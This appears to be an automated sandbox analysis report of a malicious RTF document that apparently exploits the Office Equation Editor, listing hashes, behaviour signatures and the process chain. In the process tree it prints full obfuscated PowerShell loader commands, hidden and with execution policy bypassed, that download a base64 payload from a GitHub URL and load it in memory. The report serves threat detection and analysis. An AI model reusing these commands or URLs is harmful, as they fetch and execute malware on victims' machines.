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Analysis
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max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
03/10/2024, 09:30
Static task
static1
Behavioral task
behavioral1
Sample
33083e3d8cad434bfff8cdb97032babe.rtf
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
33083e3d8cad434bfff8cdb97032babe.rtf
Resource
win10v2004-20240802-en
General
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Target
33083e3d8cad434bfff8cdb97032babe.rtf
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Size
75KB
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MD5
33083e3d8cad434bfff8cdb97032babe
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SHA1
9defb395eda345c770a559ba6c46cba8226c2974
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SHA256
85ed27cc2b2264295dfc90a985944887053ffe9a79894914ea7f69e6a7de42e2
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SHA512
3750b71501d7412725484c72203a6440647e479fc43991199a2dfb5a4c0c5223ca9858864504d388fec1bbf94c539a1f2bcd56275698803f81bd4301e32ecf6a
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SSDEEP
384:+uNWTVICMS5DryYNfvw5vV8Sj7OYqsg4ozn67fT5PfSsMnCbh03MNyC0DAgqh5Ji:XMyGw5vV8fYq3pz6T5SBnC903P0gwtt8
Malware Config
Extracted
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Signatures
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Blocklisted process makes network request 3 IoCs
flow pid Process 4 2920 EQNEDT32.EXE 6 2632 powershell.exe 7 2632 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2892 powershell.exe 2632 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 6 raw.githubusercontent.com 7 raw.githubusercontent.com 5 raw.githubusercontent.com -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EQNEDT32.EXE -
Office loads VBA resources, possible macro or embedded object present
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Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
pid Process 2920 EQNEDT32.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2340 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2892 powershell.exe 2632 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2892 powershell.exe Token: SeDebugPrivilege 2632 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2340 WINWORD.EXE 2340 WINWORD.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2920 wrote to memory of 2752 2920 EQNEDT32.EXE 32 PID 2920 wrote to memory of 2752 2920 EQNEDT32.EXE 32 PID 2920 wrote to memory of 2752 2920 EQNEDT32.EXE 32 PID 2920 wrote to memory of 2752 2920 EQNEDT32.EXE 32 PID 2752 wrote to memory of 2892 2752 WScript.exe 34 PID 2752 wrote to memory of 2892 2752 WScript.exe 34 PID 2752 wrote to memory of 2892 2752 WScript.exe 34 PID 2752 wrote to memory of 2892 2752 WScript.exe 34 PID 2892 wrote to memory of 2632 2892 powershell.exe 36 PID 2892 wrote to memory of 2632 2892 powershell.exe 36 PID 2892 wrote to memory of 2632 2892 powershell.exe 36 PID 2892 wrote to memory of 2632 2892 powershell.exe 36 PID 2340 wrote to memory of 2912 2340 WINWORD.EXE 37 PID 2340 wrote to memory of 2912 2340 WINWORD.EXE 37 PID 2340 wrote to memory of 2912 2340 WINWORD.EXE 37 PID 2340 wrote to memory of 2912 2340 WINWORD.EXE 37
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\33083e3d8cad434bfff8cdb97032babe.rtf"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2912
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C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2920 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturegreatwithmeenterings.Vbs"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2752 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnSk5IdXJsJysnID0gdlhzaHQnKyd0JysncHM6Ly9yYXcuZ2l0aHVidXNlJysncmNvbnRlbnQuY28nKydtJysnL05vRGV0ZWN0JysnT24nKycvTm8nKydEZXRlY3RPbi9yZWZzL2hlYWRzL21haW4vRCcrJ2V0YWgnKydOb3RoLVYuJysndHgnKyd0dlhzOyBKTkhiYXMnKydlNjRDbycrJ24nKyd0ZW50JysnID0nKycgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XJysnZWJDbCcrJ2llbnQpLkRvJysnd25sbycrJ2FkU3RyaW5nKCcrJ0pOSHVybCk7IEpOSGJpbmFyJysneUMnKydvbicrJ3RlbnQgPSBbU3lzdGVtLkNvbnYnKydlcicrJ3RdOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKEpOSGJhc2U2JysnNENvbnRlbnQpOyAnKydKJysnTkhhc3NlJysnbWJseSAnKyc9ICcrJ1tSZScrJ2ZsZWMnKyd0aScrJ29uJysnLkFzcycrJ2VtYmx5XScrJzo6TG9hZChKTkgnKydiaW5hcnknKydDb250ZW50KScrJzsgJysnW2RubGknKydiLicrJ0knKydPLkhvbWVdOjpWJysnQUkoRnN6dHgnKyd0LkNCQk5SLycrJzIyJysnMi81MjEuMjMuOCcrJzYxLicrJzQwJysnMS8vOnB0dGhGc3osIEYnKydzemRlc2EnKyd0JysnaXZhZG9Gc3osICcrJ0ZzemRlc2EnKyd0aXZhJysnZG9Gc3osIEZzeicrJ2Rlc2F0aXZhZG8nKydGc3osJysnICcrJ0ZzJysnelJlZ0FzbUZzeiwgRnMnKyd6RnN6LEZzekYnKydzeiknKSAgLWNSZXBMYWNFKFtjaEFyXTExOCtbY2hBcl04OCtbY2hBcl0xMTUpLFtjaEFyXTM5LWNSZXBMYWNFIChbY2hBcl03NCtbY2hBcl03OCtbY2hBcl03MiksW2NoQXJdMzYgLWNSZXBMYWNFICAnRnN6JyxbY2hBcl0zNCkgfCAuKCAkRU52OkNvTVNwRWNbNCwyNCwyNV0tak9JTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('JNHurl'+' = vXsht'+'t'+'ps://raw.githubuse'+'rcontent.co'+'m'+'/NoDetect'+'On'+'/No'+'DetectOn/refs/heads/main/D'+'etah'+'Noth-V.'+'tx'+'tvXs; JNHbas'+'e64Co'+'n'+'tent'+' ='+' (New-Object System.Net.W'+'ebCl'+'ient).Do'+'wnlo'+'adString('+'JNHurl); JNHbinar'+'yC'+'on'+'tent = [System.Conv'+'er'+'t]::Fro'+'mBase64Str'+'ing(JNHbase6'+'4Content); '+'J'+'NHasse'+'mbly '+'= '+'[Re'+'flec'+'ti'+'on'+'.Ass'+'embly]'+'::Load(JNH'+'binary'+'Content)'+'; '+'[dnli'+'b.'+'I'+'O.Home]::V'+'AI(Fsztx'+'t.CBBNR/'+'22'+'2/521.23.8'+'61.'+'40'+'1//:ptthFsz, F'+'szdesa'+'t'+'ivadoFsz, '+'Fszdesa'+'tiva'+'doFsz, Fsz'+'desativado'+'Fsz,'+' '+'Fs'+'zRegAsmFsz, Fs'+'zFsz,FszF'+'sz)') -cRepLacE([chAr]118+[chAr]88+[chAr]115),[chAr]39-cRepLacE ([chAr]74+[chAr]78+[chAr]72),[chAr]36 -cRepLacE 'Fsz',[chAr]34) | .( $ENv:CoMSpEc[4,24,25]-jOIN'')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2632
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD54bccf8480f472b72c55e1206fd163b67
SHA1a00c9029a19ac54949ad5f67fe47ba67ef8f64a4
SHA2567198ad32a8c3eac820dcbd65ba810e7a44f0080c616be93512393ed9b1b7f86a
SHA512eb5b769a4763020792caf17a5a9cb2dd493439f4010a92acf15e48ba029436dd4371cfdc249578d9195599ab42db22c585d4545492c82cdf72cbfa44f827ba44
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Filesize
295KB
MD5007afe1a2061ae137aca64fb3c7b9e9b
SHA1965108b7ee5a55eb30b12ea1a352b1e49c3897e0
SHA2568e4222077584ea49b2abfcf58c0192fa0d3d763f4c49f41f555e661bba2bba1d
SHA512e973fd68f1ee43bc41220a214a486bed4b200fe3e116f011b93f00281cfce462d6af531bb5eb9b7f2c1038c91b4cbf77790efa660aa84d4e927bd802f010adcf